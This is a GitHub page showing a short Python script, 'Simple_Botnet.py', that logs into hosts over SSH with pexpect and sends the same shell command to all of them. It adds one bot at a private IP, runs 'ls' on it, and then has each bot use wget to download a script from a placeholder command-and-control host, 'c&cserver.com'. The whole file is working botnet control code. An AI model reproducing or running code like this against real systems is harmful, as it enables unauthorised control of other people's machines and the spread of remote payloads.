-
Notifications
You must be signed in to change notification settings - Fork 0
/
Simple_Botnet.py
58 lines (39 loc) · 1.25 KB
/
Simple_Botnet.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
from pexpect import pxssh
class Bot:
# initialize the new client
def __init__(self, host, user, password):
self.host = host
self.user = user
self.password = password
self.session = self.ssh()
# secure shell into the client
def ssh(self):
try:
bot = pxssh.pxssh()
bot.login(self.host, self.user, self.password)
return bot
except Exception as e:
print('Connection failure.')
print(e)
# send a command to client
def send_command(self, cmd):
self.session.sendline(cmd)
self.session.prompt()
return self.session.before
# send a command to all bots in the botnet
def command_bots(command):
for bot in botnet:
attack = bot.send_command(command)
print('Output from ' + bot.host)
print(attack)
# list of bots in the botnet
botnet = []
# add a new bot to your botnet
def add_bot(host, user, password):
new_bot = Bot(host, user, password)
botnet.append(new_bot)
add_bot('10.0.0.59', '', '')
# list the users home directory
command_bots('ls')
# download scripts/files etc.
command_bots("""wget -O /Users/Owner/Desktop/ "http://c&cserver.com/script.py"""")